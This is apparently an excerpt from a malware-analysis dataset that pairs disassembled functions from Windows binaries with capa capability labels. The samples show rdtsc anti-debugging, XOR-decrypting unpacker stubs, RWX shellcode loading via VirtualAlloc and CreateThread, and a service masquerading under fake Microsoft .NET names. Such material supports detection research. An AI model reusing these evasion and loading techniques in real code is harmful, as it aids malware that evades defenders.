joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e7537
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], edx
jmp 0x4e754e
mov eax, dword [ebp + 8]
movzx edx, byte [eax]

Function at 0x4f906b
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 4]
sub edi, 0x56dcfecb
mov dh, 0xe9
mov ebx, dword [esp]
jmp 0x4f9084
xchg word [esp + 1], ax
lea eax, [edx + 0x1e]
mov ax, word [esp + 2]
rcr dl, cl
jmp 0x4f9080
js 0x4f9055
jns 0x4f9055
mov ebx, dword [esp]
mov dx, ax
add edi, dword [ebp]
rdtsc
lea eax, [esi*4]
jmp 0x4f981c
rdtsc
jmp fcn.004f96c5
stc
jl 0x4f973c
rdtsc
jmp fcn.004f96c5

Function at 0x504e18
Capabilities:
Encode data using xor

Disassembly:
pushfd
jmp 0x504e1f
mov word [esp], bp
lea esp, [esp + 4]
jmp 0x4e92ee

Function at 0x59c218
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea ebp, [eax*4]
lea ebx, [ebx + esi]
jmp 0x59c25b
mov ch, ah
push word [esp + 6]
xchg di, si
mov bl, byte [esp + 1]
jmp 0x59c245
clc
mov ah, byte [esp + 0xa]
xchg bx, ax
mov si, word [esp + 8]
mov dword [esp + 5], esp
mov dl, 0xa2
jmp 0x59c224
Function at 0x59df79
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop bp
mov cx, 0xf905
bsf bp, si
mov edi, 0xf1ff8e6
jmp 0x59dfa2
sub esp, 0xe
and esi, 0x57ba3200
sub esp, 2
mov dx, word [esp + 0xf]
jmp 0x59df63
mov bx, word [esp + 0x18]
lea esp, [esp + 0x16]
push dword [esp + 3]
mov al, ch
jmp 0x59dfb4
rol ax, cl
rcr cl, cl
lea esp, [esp]
mov cl, bl
xchg ch, al
mov esi, dword [esp + 5]
jmp 0x59df8c
mov ecx, 0x1283aca
xchg cx, bx
push dword [esp + 8]
lea edx, [ebx + esi]
pop dx
jmp 0x59dfe3
mov dword [esp + 5], edx
mov word [esp + 7], cx
pushal
mov eax, ebp
popal
pop ecx
jmp 0x59e729
cmc
neg ebp
push word [esp + 0x20]
mov al, 9
lea edi, reloc.mscoree.dll__CorExeMain
xchg dh, al
jmp 0x59e03d
adc bh, 0xa5
rcl dl, cl
btr bp, di
mov cx, si
setl dl
push dword [esp + 0xc]
jmp 0x59dff7
xchg word [esp + 0x10], ax
pop di
lea esp, [esp + 5]
pushal
jmp 0x59e195
mov eax, esi
bswap edx
mov ax, cx
bsf cx, bx
lea esp, [esp + 0xd]
setne dl
jmp 0x59e027
rdtsc
xchg byte [esp + 0x10], bh
xchg dword [esp + 5], eax
push word [esp + 0x19]
bts esi, edx
xchg cx, bx
jmp 0x59e012
xchg di, cx
mov ebp, dword [esp + 0xa]
add esp, 0xf
bswap edi
add esp, 7
clc
jmp 0x59e0be
lea esp, [esp + 0xb]
neg edx
pop edx
xchg dword [esp + 4], edx
sub esp, 0xe
mov ebp, ebx
jmp 0x59e079
mov cx, 0xede2
add esp, 0x14
mov word [esp + 2], bp
xchg dword [esp + 0x10], edi
rdtsc
xchg al, ch
jmp 0x59e08f
push dword [esp + 1]
call fcn.0059e113
lea edx, [esi + edi]
xchg dword [esp + 3], eax
cpuid
std
xchg ecx, eax
jmp 0x59e0f2
mov ecx, dword [esp + 0x1a]
bswap ebx
xchg byte [esp + 0x2c], dh
mov eax, 0xaca26ae1
rdtsc
mov cl, 0xf4
jmp 0x59e0a8
lea esi, reloc.mscoree.dll__CorExeMain
xchg edi, ebx
pop esi
lea ecx, reloc.mscoree.dll__CorExeMain
inc al
lea esp, [esp + 3]
jmp 0x59e121
sub esp, 0x16
setge dh
xchg byte [esp + 6], ah
lea esp, [esp + 5]
lea ecx, [edx*4]
xchg cx, bp
jmp 0x59e16c
mov byte [esp + 9], bl
xchg bp, ax
xchg bp, si
mov eax, esp
mov dword [esp + 0x2a], ebx
pop dword [esp + 0x1d]
jmp 0x59e0dd
mov ax, 0x34a5
bts edx, ecx
inc bx
mov ax, 0x7c11
mov ch, bl
jmp 0x59e2fb
add esp, 0xe
bsr bp, sp
pop esi
mov ax, word [esp]
bts edx, esi
mov esi, 0x3f7cc671
jmp 0x59e156
pop word [esp + 0x14]
rol esi, cl
mov ax, bp
lea esi, [eax + ebx]
bswap ebp
bswap edi
jmp 0x59e141
mov al, bh
mov cx, 0x1a8c
call fcn.0059e1ec
dec ebp
push ebx
push esi
inc ebx
push edx
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [esi - 0x75], ah
dec esp
and al, 0xe
mov cx, word [esp + 0xe]
push word [esp + 0xf]
mov byte [esp + 0x10], cl
mov al, dh
xchg si, ax
xchg byte [esp + 0x12], dl
jmp 0x59e1a8
pop ecx
lea esp, [esp + 0xb]
not ah
setbe bh
mov word [esp + 0xa], bx
xchg word [esp + 0xb], ax
jmp 0x59e1be
add esp, 0xb
xchg ah, dl
push esp
mov ax, bp
pushfd
pushfd
jmp 0x59e208
shr ebp, 9
add esp, 0
mov cx, si
pushal
xchg di, ax
rdtsc
jmp 0x59e237
lea esi, reloc.mscoree.dll__CorExeMain
lea esp, [esp + 1]
xchg cl, bh
lea esp, [esp]
bsr edi, edx
std
jmp 0x59e297
xchg dword [esp], ebp
lea eax, [edi - 0x88]
xchg word [esp], si
sub esp, 0x1a
mov byte [esp + 0xd], ah
std
jmp 0x59e062
pop ax
xchg word [esp + 4], bx
mov cl, 0xac
rdtsc
mov ax, word [esp + 2]
mov bx, bp
jmp 0x59e336
Function at 0x59e465
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ax, dx
mov dword [esp], esp
lea ebp, [esi + ebp]
neg cl
jmp 0x59e485
dec bp
push dx
xchg edx, esi
mov word [esp], di
rdtsc
jmp 0x59e4db
shr dx, 0xf
bswap esi
mov cx, 0xb362
mov dword [esp + 4], edx
push dword [esp + 9]
bts bx, di
jmp 0x59e4f8
lea ebp, [eax*4]
lea ebx, [eax*4]
push esp
xchg dword [esp + 3], ebp
mov byte [esp + 6], bh
mov dh, byte [esp + 5]
jmp 0x59e4b8
mov edi, 0x2ec27c57
add esp, 7
xchg byte [esp + 2], dh
xchg word [esp + 4], si
mov di, 0x6e20
sub esp, 0xf
jmp 0x59e5bb
mov dl, 0xc7
stc
push dword [esp + 1]
pop ebp
sub esp, 0x1c
stc
jmp 0x59e556
add esp, 0xc
add esp, 3
push dword [esp + 4]
xchg bh, dl
mov word [esp + 5], bp
mov cx, si
jmp 0x59e52a
xchg dword [esp + 4], ecx
popal
bsf ecx, ecx
lea ebx, [ebx + esi]
shr bx, cl
mov dh, dl
jmp 0x59e590
mov dword [esp + 6], esp
add esp, 1
mov si, word [esp + 9]
mov word [esp + 2], di
stc
mov dx, word [esp + 2]
jmp 0x59e540
mov ecx, 0xaeac8c4f
push ebx
std
mov al, 0x11
pop word [esp + 1]
setp bl
jmp 0x59e5cb
setg cl
dec ecx
lea esi, [edi*4]
mov eax, dword [esp + 3]
cld
bswap esi
jmp 0x59e6b8
xchg word [esp + 5], dx
clc
not edi
clc
stc
mov ah, byte [esp + 7]
jmp 0x59e577
mov ebx, 0x3f93fbf7
lea esi, [edx*4]
mov ebx, edx
mov ah, 0x7b
xchg si, ax
xchg byte [esp + 4], dh
jmp 0x59e5a3
add esp, 1
mov ebx, dword [esp]
mov edx, 0xcd30e9ab
seto ah
lea esi, [ecx - 0x8d]
setle dh
jmp 0x59e608
lea edx, [edx + edi]
rcr si, 7
pop dword [esp]
xor si, 0xf285
xchg byte [esp + 1], dh
btc di, dx
jmp 0x59e61e
Function at 0x41f386
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f028

Function at 0x41f391
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f1b7

Function at 0x41f78b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040afa0
mov eax, dword [0x513900]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041c994
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41f7cd
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41f929
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00429640
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x515558]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0042095b
mov ecx, dword [esi*4 + 0x515558]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41f922
cmp eax, dword [edi + ecx + 0x24]
jne 0x41f922
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41f922
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042095b
add esp, 0x14
test edx, edx
jl 0x41f922
jg 0x41f898
test eax, eax
jb 0x41f922
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41f922
jl 0x41f8b2
cmp dword [ebp - 0x1008], eax
ja 0x41f922
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41f8d0
test ebx, ebx
je 0x41f909
cmp ecx, edi
jae 0x41f909
mov al, byte [ecx]
cmp al, 0xd
jne 0x41f8ea
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41f8f6
cmp byte [ecx + 1], 0xa
jne 0x41f8f6
inc ecx
jmp 0x41f8f6
movzx eax, al
movsx eax, byte [eax + 0x513bc8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41f8d0
cmp edx, ebx
jne 0x41f8d0
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41f927
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a419
leave
ret
Function at 0x41fdf9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x515558]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41fe39
cmp byte [ebx], 0xa
jne 0x41fe39
or byte [eax + edi + 0x28], 4
jmp 0x41fe3e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41ff3c
mov al, byte [edx]
cmp al, 0x1a
je 0x41ff1e
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41fe6d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41fe92
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41fe9c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41fe4f
jmp 0x41ff3c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ff19
cmp dword [ebp - 0xc], 0
je 0x41ff19
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x515558]
test byte [eax + edi + 0x28], 0x48
je 0x41fef3
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41fede
mov byte [esi], dl
jmp 0x41feef
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x515558]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ff3c
cmp byte [ebp - 1], 0xa
jne 0x41ff02
cmp esi, ebx
jne 0x41ff02
mov byte [esi], 0xa
jmp 0x41ff3b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00420979
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ff3c
mov byte [esi], 0xd
jmp 0x41ff3b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x515558]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ff38
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ff3c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41ff45
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x515558]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41ff88
cmp word [esi], dx
jne 0x41ff88
or byte [edi + eax + 0x28], 4
jmp 0x41ff8d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4200e0
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4200c0
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41ffcf
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x420005
cmp eax, edx
jae 0x420011
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41ffa7
jmp 0x4200e0
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4200bc
cmp dword [ebp - 0x14], 0
je 0x4200bc
mov eax, dword [ebx*4 + 0x515558]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x420094
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x42005d
mov word [esi], cx
jmp 0x420090
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x515558]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x515558]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x515558]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4200e0
pop ebx
cmp word [ebp - 4], bx
jne 0x4200a5
cmp esi, dword [ebp + 0xc]
jne 0x4200a5
mov word [esi], bx
jmp 0x4200dd
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00420979
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4200e0
push 0xd
jmp 0x4200d9
mov ecx, dword [ebx*4 + 0x515558]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4200d7
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4200e0
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4221d0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42226d
push ebx
push esi
call fcn.00422199
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00420e1e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42221a
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42226c
push edi
push eax
call fcn.0041baee
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42223a
call fcn.0041b886
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42226b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00420e1e
add esp, 0x20
test eax, eax
jne 0x422259
push edi
call fcn.0041b886
jmp 0x422261
push ebx
call fcn.0041b886
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x429440
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42946d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42946d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42a26f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x40
push 0x1000
mov ebx, 0x4ac
xor ebp, ebp
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, 0x513410
mov esi, eax
push edi
call fcn.0042a1ae
push ebx
push edi
push esi
call fcn.0040aff0
add esp, 0x14
call fcn.0042a194
push ebp
push ebp
push 0x436010
lea eax, [esi + 0x188]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x6d352c24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x6d352c33
pop dword [ebp - 0x48]
mov eax, 0xcbbcba3
add eax, 0x60796090
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x42840606
add dword [ebp - 0x58], 0xbce3f45
mov dword [ebp - 0x54], 0x7776a081
add dword [ebp - 0x54], 0xbabcabc4
mov dword [ebp - 0x50], 0xedfb956e
sub dword [ebp - 0x50], 0xa1af5140
mov dword [ebp - 0x4c], 0x8d4d4cf5
add dword [ebp - 0x4c], 0x72b2b30b
lea eax, [ebp - 0x58]
push eax
mov eax, 0xc5a97d01
sub eax, 0x5873ecb1
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xc81fbdb5
add dword [ebp - 0x58], 0xac52aba1
mov dword [ebp - 0x54], 0x7ab07389
sub dword [ebp - 0x54], 0x39441214
mov dword [ebp - 0x50], 0xe263a1cf
sub dword [ebp - 0x50], 0x7ef43563
mov dword [ebp - 0x4c], 0x817fcd40
add dword [ebp - 0x4c], 0x7e8032c0
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x85a76eeb
add eax, 0xe78e216d
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x349b6
push 0
call eax
mov ecx, 0x3d58
xor ebx, ebx
add ebx, eax
mov edi, 0x6d35e800
add edi, dword [ebp - 0x48]
mov edx, 0x92c91e78
add edx, 0xa5bfcccb
add dword [ebp - 0x38], ecx
mov esi, dword [edi]
xor esi, edx
sub dword [ebp - 0xc], edx
mov dword [ebx], esi
sub dword [ebp - 0x30], edx
add ebx, 0x458240d0
add ebx, 0xba7dbf34
add edi, 0x47c65c6a
sub edi, 0x47c65c66
loop 0x6d352d4b
add eax, 0xe833
mov ebx, eax
add eax, 5
mov ecx, 0xc9f4524
sub ecx, 0x9f6a4524
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x6d3578c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d3578ce
repz ret
jmp fcn.6d357caf
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40633c
pop dword [ebp - 0x38]
mov eax, 0x5260208b
sub eax, 0x521fbd4f
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x8c34b7ce
add dword [ebp - 0x48], 0xc21d8d7d
mov dword [ebp - 0x44], 0x753980ea
sub dword [ebp - 0x44], 0x430634a5
mov dword [ebp - 0x40], 0x76d07c11
add dword [ebp - 0x40], 0xd57bc81d
mov dword [ebp - 0x3c], 0x14831021
add dword [ebp - 0x3c], 0xeb7cefdf
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x22f3631f
sub dword [ebp - 0x48], 0xae80f9c9
mov dword [ebp - 0x44], 0xd224d4ae
add dword [ebp - 0x44], 0x6f478cc7
mov dword [ebp - 0x40], 0x8a86f150
sub dword [ebp - 0x40], 0x271784e4
mov dword [ebp - 0x3c], 0x61c5bfcb
add dword [ebp - 0x3c], 0x9e3a4035
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x349a9
push 0
call eax
mov ecx, 0x7e9faa82
add ecx, 0x8160956f
xor edi, edi
add edi, eax
mov esi, 0x410000
add esi, dword [ebp - 0x38]
mov ebx, 0xee40044a
sub ebx, 0x613af8e6
xor dword [ebp - 8], 0xbd8fdfdf
mov edx, dword [esi]
sub dword [ebp - 0x34], edx
add edx, ebx
sub dword [ebp - 0x14], edi
mov dword [edi], edx
xor dword [ebp - 0x20], edi
add edi, 0x58505969
add edi, 0xa7afa69b
add esi, 0xd53b638d
sub esi, 0xd53b6389
loop 0x406450
add eax, 0x1f7be879
add eax, 0xe0850a1e
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x3693700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0369378f
jae 0x369370e
xor ecx, ecx
call fcn.0369378f
jae 0x369373d
xor eax, eax
call fcn.0369378f
jae 0x369374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0369378f
adc al, al
jae 0x369372f
jne 0x3693779
stosb byte es:[edi], al
jmp 0x3693711
call fcn.0369379b
sub ecx, ebx
jne 0x3693756
call fcn.03693799
jmp 0x3693775
lodsb al, byte [esi]
shr eax, 1
je 0x3693783
adc ecx, ecx
jmp 0x3693772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.03693799
cmp eax, 0x7d00
jae 0x3693772
cmp ah, 5
jae 0x3693773
cmp eax, 0x7f
ja 0x3693774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3693711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0xa19dbd
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp], si
mov dword [esp], eax
mov byte [esp + 1], ah
jmp 0xa19e10

Function at 0xa1f204
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp + 1], sp
mov dword [esp], esp
push bp
jmp 0xa1f270
lea esp, [esp + 2]
mov dword [esp + 8], ecx
call fcn.00a1f24b
lea esp, [esp]
lea esp, [esp + 2]
mov dword [esp + 8], esp
pushal
jmp 0xa1f29f
pop word [esp + 0xd]
lea esp, [esp + 9]
lea esp, [esp + 0x12]
jmp 0xa1f2d8
lea esp, [esp + 3]
mov dword [esp + 4], ebp
pushfd
lea esp, [esp + 3]
call fcn.00a1f2c2
cmc
jmp 0xa1f310
jae 0xa1f326
rdtsc
mov ecx, edx
jmp 0xa1f333
mov dl, 0xdd
xor ebp, dword [edx]
rdtsc
mov ecx, edx
mov cx, sp
jmp 0xa1fc47
mov cx, sp
call fcn.00a1f94f
jbe 0xa1f322
cmp dword [esi + 0x44], reloc.oleaut32.dll_SysFreeString
imul edi, ebx, 0xffffff9e
insd dword es:[edi], dx
inc ebx
push cs
cdq
clc
inc al
jmp 0xa1e71d
xchg ch, ah
lea ebp, [esp]
lea edi, [edi - 0x4e]
jmp 0xa1f78b
jbe 0xa1f75b
xchg ch, ah
jmp 0xa1f75d
inc dh
jae 0xa1f7bd
bswap ebx
mov ax, cx
jmp 0xa1f808
bswap ebx
mov ax, cx
jmp 0xa1f808
jmp 0xa1f835
sub esp, 0xc0
mov edi, esp
btr ebx, esp
jno 0xa1f7f2
dec ebx
stc
jmp 0xa1f837
dec ebx
stc
mov esi, dword [esp + 0x2c]
bswap edx
lea edi, [ecx*4]
btc edi, esi
jmp 0xa1f785

Function at 0xa1f250
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 0xc], ebx
call fcn.00a1f25a
out dx, al

Function at 0xa1f293
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp], ah
mov dword [esp + 0xc], edx
call fcn.00a1f250

Function at 0xa1f2c2
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf0a0aee0
jmp 0xa1f2ea
pop word [esp]
lea esp, [esp + 2]
jmp 0xa1f302
lea esp, [esp + 1]
mov dword [esp], esi
push edi
pushfd
jmp 0xa1ddb1